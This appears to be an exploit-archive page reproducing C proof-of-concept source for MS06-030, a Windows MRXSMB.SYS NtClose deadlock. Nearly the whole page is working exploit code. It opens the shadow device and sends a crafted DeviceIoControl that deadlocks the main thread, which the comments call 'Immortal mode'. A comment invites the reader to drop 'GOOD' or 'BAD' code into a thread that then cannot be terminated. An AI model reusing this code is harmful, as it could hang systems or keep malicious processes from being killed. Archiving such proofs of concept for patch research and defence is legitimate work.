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MS Windows (NtClose DeadLock) Vulnerability PoC (MS06-030)
========================================================== MS Windows (NtClose DeadLock) Vulnerability PoC (MS06-030) ========================================================== //////////////////////////////////////////////////////////////////////////////// ///////// MRXSMB.SYS NtClose DEADLOCK exploit/////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// //November 19,2005 //////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////// //ONLY FOR EDUCATION PURPOSES //////////////////////////////////////////////////////////////////////////////// // Rub?n Santamarta // ruben (at) reversemode (dot) com // http://www.reversemode.com //////////////////////////////////////////////////////////////////////////////// #include <windows.h> #include <stdio.h> #define MAGIC_IOCTL 0x141047 VOID ShowError() { LPVOID lpMsgBuf; FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM, NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR) &lpMsgBuf, 0, NULL); MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0); exit(1); } VOID IamAlive() { DWORD i; for(i=0;i<0x1000;i++) { Sleep(1000); printf("\rI am a Thread and I am alive [%x]",i); } } VOID KillMySelf() { DWORD junk; DWORD *OutBuff; DWORD *InBuff; BOOL bResult; HANDLE hDevice; DWORD i; hDevice = CreateFile("\\\\.\\shadow", FILE_EXECUTE,FILE_SHARE_READ|FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) ShowError(); OutBuff=(DWORD*)malloc(0x18); if(!OutBuff) ShowError(); OutBuff[3]=(DWORD)hDevice; DeviceIoControl(hDevice, MAGIC_IOCTL, 0,0, OutBuff,0x18, &junk, (LPOVERLAPPED)NULL); // MAIN THREAD ENDING. } int main(int argc, char *argv[]) { LPTHREAD_START_ROUTINE GoodThread; DWORD dwThreadId; DWORD bResult; GoodThread=(LPTHREAD_START_ROUTINE)IamAlive; printf("-=[MRXSMB.SYS NtClose Vulnerability POC]=-\n"); printf("\t(Only for educational purposes)\n"); printf("..http://www.reversemode.com..\n\n"); printf("Launching Thread ..."); // PUT YOUR "GOOD" OR "BAD" CODE HERE // e.g GoodThread CreateThread(NULL,0,GoodThread,0,0,&dwThreadId); printf("Done\n"); printf("I am going to dissapear,but I will be with you forever\n"); printf("(..)\n\n"); KillMySelf(); // Immortal mode "on" ;) return(1); } # 0day.today [2024-07-07] #